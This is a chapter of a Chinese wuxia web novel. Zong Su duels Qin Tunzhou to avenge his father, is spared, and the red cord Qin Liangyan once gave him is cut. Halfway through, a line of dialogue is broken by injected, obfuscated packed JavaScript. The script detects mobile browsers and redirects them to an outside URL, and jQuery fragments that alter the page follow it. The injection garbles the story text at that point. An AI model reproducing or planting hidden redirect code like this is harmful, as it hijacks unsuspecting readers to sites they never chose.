宗溯先出的剑。
剑光很快。
那一剑起得极稳,剑尖平直,直取秦吞舟左肩。不是试探,也不是虚招。照微寺后山的竹枝、停云山弟子的剑阵、宗家旧剑上沉了二十年的恨,像都压在这一剑里。
秦梁燕看得出,他是真的想伤秦吞舟。
也许还想杀。
她握着红缨枪,指节微白,却没有动。
秦吞舟只侧了半步。
那半步很轻,轻到像只是被山风吹得衣摆偏了偏。可宗溯的剑便落了空,剑锋擦着玄色衣袖过去,连一点布料都没割下。
下一瞬,秦吞舟的刀背压在宗溯剑身上。
没有劈。
只是压。
宗溯手腕一沉,剑锋几乎被压到青石上。他眼神一冷,反手撤剑,剑身贴着刀背滑出,发出一声极刺耳的金铁声。
秦梁燕听得心口一跳。
她从前看过许多人打架。
沉灯坞的人打起来大多不漂亮。刑堂练的是快、狠、准,能一刀解决的绝不用第二刀。可宗溯的剑不一样。他的剑法干净,路数清正,起落之间还有佛门的克制。若不看这一战缘由,只看招式,几乎称得上好看。
秦吞舟的刀却不好看。
他甚至不怎么动。
宗溯三剑连出,一剑比一剑急。秦吞舟只以刀背格开,步子仍旧稳在原处。青石台上风大,他玄衣被吹得猎猎作响,像一潭深水上起了浪,可水底仍旧不动。
台下有人低声道:“秦吞舟怎么不用刃?”
秦梁燕听见了。
她看向秦吞舟手里的刀。
是刀背。
父亲没有用刀刃。
宗溯也察觉了。
第三剑被格开时,他忽然停住,声音冷而低:“秦坞主这是瞧不起我?”
秦吞舟道:“你还不够我用刃。”
这话太伤人。
宗溯脸色一白,随即更冷。
秦梁燕皱了皱眉。
她知道父亲说的是实话,可有时候实话比羞辱更重。宗溯今日站在这里,不只是一个年轻剑客,他背后还有宗家满门、照微寺十二年、停云山推到他手里的那把“公道”。秦吞舟这句话,几乎把那些东西都一并压低了。
祝观澜缓声道:“秦坞主既已应战,何必再以言语折辱后辈?”
秦吞舟没有看他。
“你心疼,可以替他上来。”
祝观澜眼神微沉。
宗溯却已再次出剑。
这一次,他剑势变了。
先前的剑法清正,此刻却带了些险。剑尖绕过秦吞舟刀锋,忽然折向下盘。秦吞舟退了半步,刀背横扫,宗溯却借势腾身而起,剑光从半空落下。
台上一片惊呼。
秦梁燕也抬了眼。
这一式她见过。
不是在照微寺,也不是在停云山弟子手里,而是在沉灯坞刑堂。那是杀人时才用的招,舍身压进,不留退路。若对方退,他便追;若对方不退,他便以伤换伤。
秦吞舟终于抬眼。
刀锋翻转。
那一瞬,寒光亮得逼人。
宗溯的剑落下,秦吞舟的刀迎上。刀剑相撞,宗溯整个人被震得后退三步,鞋底在青石上擦出一道白痕。
他手腕发颤,却没有松剑。
秦梁燕看见他的虎口裂开了。
血顺着剑柄流下来,一点点渗到那截红绳上。
红绳更红。
她心中忽然有些说不出的难受。
那红绳本该系在小灯上,或挂在他禅房窗边,风一吹,轻轻动。如今却被他的血浸着,缠在宗家旧剑上,随着每一次出剑发紧。
秦吞舟道:“谁教你的?”
宗溯没有答。
秦吞舟看向照微寺方丈:“你?”
方丈垂目:“宗公子学剑多年,非贫僧一人所授。”
秦吞舟冷笑:“难怪。佛门的剑,停云山的手,刑堂的杀招,拼得倒齐。”
宗溯道:“只要能杀你,哪一招都一样。”
秦吞舟看着他。
“宗长明若还活着,听见这话会气死。”
宗溯脸色骤变:“你不配提我父亲。”
秦吞舟道:“他比你讲究。”
宗溯握剑的手更紧。
秦梁燕忽然觉得不对。
秦吞舟今日的话太多了。
他平日杀人时不会这样。他若真要解决宗溯,一刀便够。可他一直用刀背,一直逼宗溯说话,像是在试探什么,也像在等宗溯自己意识到什么。
宗溯却显然听不进去。
他此刻站在所有人前,背后是宗氏血仇,身侧是祝观澜与照微寺,眼前是亲口承认杀父的秦吞舟。每一道目光都在催他出剑。
他不能退。
也不敢退。
他若退,宗家二十年的血便像白流了;他若疑,照微寺十二年的教养便像成了笑话;他若停,祝观澜方才铺开的所有公道便都落空。
于是他只能再次举剑。
秦梁燕忽然开口:“宗溯。”
宗溯动作一顿。
这是她第一次这样叫他。
不是了悟。
也不是小和尚。
宗溯。
他看向她。
秦梁燕看着他,问:“你现在是自己想打,还是他们要你打?”
台上静了一瞬。
祝观澜的目光落到她身上。
秦梁燕没有看祝观澜。
她只看宗溯。
她知道这个问题问得很不好。此时此地,他若答自己想打,便把自己再往前推一步;若答别人要他打,便当众承认自己被人拿来做刀。
可她还是想问。
她不想看见他就这样被推着往前走,走到再也回不了头。
宗溯的眼神动了一下。
一瞬之后,又沉下去。
“秦梁燕,”他说,“你父亲杀了我父亲。”
秦梁燕道:“我知道。”
“那我便该出剑。”
秦梁燕看着他,忽然不知该说什么。
这句话没有错。
错的是这句话太少。
父亲死了,所以他要出剑。可是宗家满门怎么死的,祝观澜为何在场,照微寺为何救他,宗平的话为何有破绽,停云山今日为何一定要他当众拔剑,这些都被那一句“你父亲杀了我父亲”压下去了。
一个人若只剩下这一句话,便很容易被推着走。
秦吞舟忽然道:“他说得对。”
秦梁燕一怔。
秦吞舟看着宗溯:“我杀了宗长明,你向我出剑,理所当然。”
宗溯握剑的手微颤。
秦吞舟继续道:“所以今日,我让你三十招。”
台上哗然。
祝观澜眉心微动。
宗溯脸色却更难看:“我不需要你让。”
秦吞舟道:“你需要。”
宗溯咬牙出剑。
第四招。
第五招。
第六招。
秦梁燕一招一招数着。
宗溯剑势越来越快,快到台下许多人已看不清。可秦吞舟仍旧只守不攻。他有时以刀背格开,有时侧身避过,有时甚至只是抬手一挡,便把宗溯逼回原位。
第十一招时,宗溯剑锋擦过秦吞舟肩头,终于划开了一道衣缝。
台下有人叫好。
宗溯却没有任何喜色。
因为他知道,那只是秦吞舟让出来的。
第十七招,宗溯被刀背震中胸口,退了五步,唇边渗出一点血。
照微寺方丈抬了抬眼。
祝观澜仍旧站着,袖中手指轻压案面,不知在想什么。
第二十三招,宗溯的剑贴着秦吞舟颈侧划过,险到极处。秦吞舟没有避,只偏头看了他一眼。
那一眼太冷。
宗溯的剑竟在半寸处停了一瞬。
秦吞舟的刀背便落在他肩上。
宗溯单膝跪地。
青石发出沉闷一声。
秦梁燕下意识往前走了半步,又停住。
宗溯撑剑站起。
他的脸色已经很差,虎口裂得更深,血将红绳浸透。可他仍旧不肯停。
第二十九招。
他忽然弃了原本的路数,剑身一旋,竟直刺秦吞舟心口。
这不是停云山的招。
也不是照微寺的剑。
这一剑太狠,太孤,几乎没有回护。像把自己所有能退的地方都斩断,只求一瞬。
秦吞舟终于拔刀正击。
刀锋与剑锋撞在一起。
一声脆响。
宗溯手中剑偏出半寸,秦吞舟的刀锋顺势压下,擦着剑柄削过。
红绳断了。
半截红绳被刀风卷起,在空中轻轻一翻,落到青石台上。
鲜红的一小段。
像血。
又不像血。
秦梁燕怔怔看着那截红绳。
周围的声音似乎都远了。台下的惊呼,停云山弟子的剑鸣,宗溯低低的喘息,秦吞舟收刀时衣袖掠过风的声音,全部隔在一层水外。
那是她给他的东西。
她给的时候没想那么多。只是觉得他一个人下山容易迷路,觉得小和尚的东西都太素,觉得红绳鲜亮,系在哪里都好看。
如今它断在秦吞舟刀下。
断在宗家旧剑上。
断在她和宗溯之间。
宗溯也看见了。
他的手僵住,目光落到青石上。那截红绳离他的鞋尖很近,只要弯腰便能拾起。
可他没有动。
秦吞舟道:“三十招。”
宗溯抬头。
秦吞舟手中刀锋终于正对他。
“接下来,我不让了。”
乌衡握刀的手紧了紧。
沉灯坞众人也屏住呼吸。
秦梁燕心口一沉。
她昨夜同秦吞舟说过,在她问清楚以前,不能杀宗溯。秦吞舟答应了。可如今她问过了,宗溯也拔剑了。秦吞舟若真要杀他,没有人拦得住。
宗溯重新握剑。
剑柄上的红绳只剩短短一截,血湿后贴在乌沉剑柄上。
他看着秦吞舟,道:“请。”
秦吞舟出刀。
那一刀很慢。
至少在秦梁燕眼里很慢。
可台上许多人根本没看清。他们只看见秦吞舟抬手,下一瞬刀锋已经到宗溯身前。宗溯横剑挡住,整个人却被震得倒退,脚下青石碎开细纹。
第二刀随即落下。
宗溯再退。
第三刀,第四刀,第五刀。
秦吞舟每一刀都不花哨,却重得惊人。宗溯被逼得一步步后退,退到栖霞台边缘,身后便是数丈石阶。
祝观澜忽然道:“秦坞主,宗公子是宗家唯一血脉。”
秦吞舟没有停。
“你不是要他报仇吗?”
祝观澜道:“报仇不是送死。”
秦吞舟冷声道:“现在知道了?”
宗溯咬牙接下第六刀。
剑身发出不堪重负的轻鸣。
秦梁燕忽然明白秦吞舟想做什么。
他不是要杀宗溯。
他是要让所有人看清楚。
让宗溯看清楚,也让祝观澜看清楚。
宗溯今日根本杀不了他。
若祝观澜真在意宗家遗孤,就不会把他推到秦吞舟刀前;若照微寺真是救他,就不会让他在什么都没查清时,替整座江湖递出这一剑。
第七刀落下时,宗溯终于撑不住,剑锋偏开,肩头被刀气擦过,血瞬间染透衣料。
秦梁燕脸色一变。
她忍不住喊:“爹!”
秦吞舟的刀停在宗溯喉前三寸。
宗溯喘息未定,手中剑仍旧没有放下。
秦吞舟看着他:“还打吗?”
宗溯没有答。
他的眼睛很红,不知是恨,还是痛。
秦吞舟道:“宗长明若看见你今日这样,会后悔把你生下来。”
宗溯猛地抬眼。
秦梁燕也皱起眉:“爹!”
这话太重了。
秦吞舟却不收回。
“他虽蠢,至少知道自己为何拔刀。你呢?”秦吞舟看着宗溯,“你从照微寺下山,站到停云山身边,拿着宗家的剑,系着我女儿给你的红绳。你到底是谁?”
宗溯脸色惨白。
秦吞舟道:“了悟?宗溯?宗长明之子?照微寺的弟子?祝观澜手里的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516756|203213||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刀?”
祝观澜沉声道:“秦吞舟。”
秦吞舟没有理他。
“你若要替父报仇,便该先弄清楚当年谁让宗长明扣船,谁在宗宅等我,谁放的火,谁堵的门,谁救走你,又是谁把你养成今日这把剑。”秦吞舟刀锋未动,“这些都不问,只听他们说我是仇人,你便拔剑。你父亲若泉下有知,才真要死不瞑目。”
宗溯握剑的手在颤。
秦梁燕看着他,忽然觉得他很可怜。
可这可怜里,又有她自己的疼。
她也被他骗了。
她也被他拿去递了消息。
她不能因为他可怜,便替他说没关系。
宗溯低声道:“那你杀我父亲,是不是事实?”
“是。”
“那便够了。”
秦吞舟看着他。
宗溯抬起剑,剑尖仍指秦吞舟:“旁的事,我会查。但你杀我父亲,这一笔不必查。”
秦吞舟道:“也对。”
他说完,刀锋忽然往前一送。
秦梁燕呼吸一滞。
刀尖在宗溯颈侧划出一道细血,却没有更深。
秦吞舟收刀。
“这一刀,算我还宗长明三分之一条命。”
台上无人听懂。
宗溯也怔住。
秦吞舟道:“剩下的,等你查明白再来讨。”
祝观澜的脸色终于完全沉了下去。
秦吞舟回身:“走。”
沉灯坞众人立刻跟上。
乌衡护到秦梁燕身侧,低声道:“少主。”
秦梁燕没有立刻动。
她看着地上那截断红绳。
宗溯也看着。
两人之间隔着几步,隔着满台正道,隔着宗氏旧案和沉灯坞旧债。
秦梁燕忽然走过去。
宗溯抬眼。
她没有看他,只弯腰,将那截断红绳捡了起来。
红绳上沾了血,已经湿透。
宗溯声音很低:“秦梁燕。”
她终于看向他。
宗溯像有许多话要说。
可是此时此地,他什么都说不出来。
秦梁燕把断红绳握在掌心,问:“疼吗?”
宗溯一怔。
他以为她会骂他,会问他,会说你骗我。
她却问疼吗。
宗溯喉间发紧。
“还好。”
秦梁燕点了点头。
“那就好。”
她转身便走。
宗溯下意识往前一步:“秦梁燕。”
秦梁燕没有回头。
她只是道:“你欠我的,不是这截红绳。”
宗溯僵在原地。
秦梁燕走回秦吞舟身边。
秦吞舟看了她一眼,似乎想说什么,最终没有说。
祝观澜却开口:“秦坞主,武林大会尚未结束,你想走?”
秦吞舟停步。
“怎么,你要留我?”
祝观澜道:“宗氏旧案未了,诸门皆在。秦坞主今日若走,只怕江湖更难相信你有查明旧案之心。”
秦吞舟道:“我没让江湖信我。”
“那秦少主呢?”祝观澜目光转向秦梁燕,“秦少主方才不是说,要一笔一笔查清楚?”
秦梁燕停下脚步。
祝观澜温声道:“如今宗公子既已暂缓父仇,愿查旧案。秦少主若也想查,何不留下?当年旧案诸多证人、旧物,皆在大会之上。你若就此随秦坞主离去,岂不又成了沉灯坞逃避公道?”
秦梁燕回头看他。
她知道祝观澜在激她。
也知道他想把她留下。
可他说中了她最在意的地方。
她要查。
她不想就这样走。
若走了,便像她刚才说的话都只是为了护秦吞舟。若走了,宗氏旧案还是宗氏旧案,宗溯还是会被停云山和照微寺推着往前走,她也永远不知道了悟到底从哪里开始骗她,又在哪里没有骗她。
秦吞舟道:“燕燕。”
秦梁燕看向他。
秦吞舟的眼神很沉。
“你想留下?”
秦梁燕握紧掌心那截红绳。
“想。”
乌衡皱眉:“少主,此地不宜久留。”
“我知道。”
秦吞舟看着她:“留在这里,他们会把你也算进去。”
秦梁燕道:“他们早就把我算进去了。”
秦吞舟没有说话。
秦梁燕声音很轻,却很稳:“爹,你杀了宗长明,这一笔你认。我信你认的是真的。你说没杀宗家满门,我也信。但我不能只因为你是我爹,就叫宗溯也信。我想查。”
秦吞舟看她许久。
最后,他道:“好。”
乌衡一惊:“坞主。”
秦吞舟道:“你陪她。”
乌衡低头:“是。”
祝观澜眼中掠过一丝极浅的光。
秦吞舟看见了。
他淡淡道:“祝观澜,她若在栖霞台少一根头发,我便拆了停云山。”
祝观澜微微一笑。
“秦坞主放心。秦少主既愿留下查案,便是武林大会的客。”
秦吞舟冷笑:“你的客,死得也不少。”
祝观澜没有接话。
秦吞舟转身下台。
沉灯坞大半人随他离开,只有乌衡和两名刑堂弟子留在秦梁燕身后。秦梁燕站在原地,手里握着那截断红绳,忽然觉得山风比方才更冷。
她没有看宗溯。
宗溯却一直看着她。
直到秦吞舟的身影消失在石阶尽头,栖霞台上的众人才慢慢回过神。
祝观澜道:“既如此,明日重开宗氏旧案,诸位可暂歇一夜。”
人群渐渐散去。
宗溯仍站在台边。
肩头的血沿着衣料往下渗,他却像感觉不到。
秦梁燕终于从他身边走过。
这一次,宗溯没有喊她。
她也没有停。
两人擦肩时,宗溯听见她腰间旧铃轻轻响了一声。
声音哑而轻。
不像当初他掌心里那枚清亮的铃。
也不像从前的秦梁燕。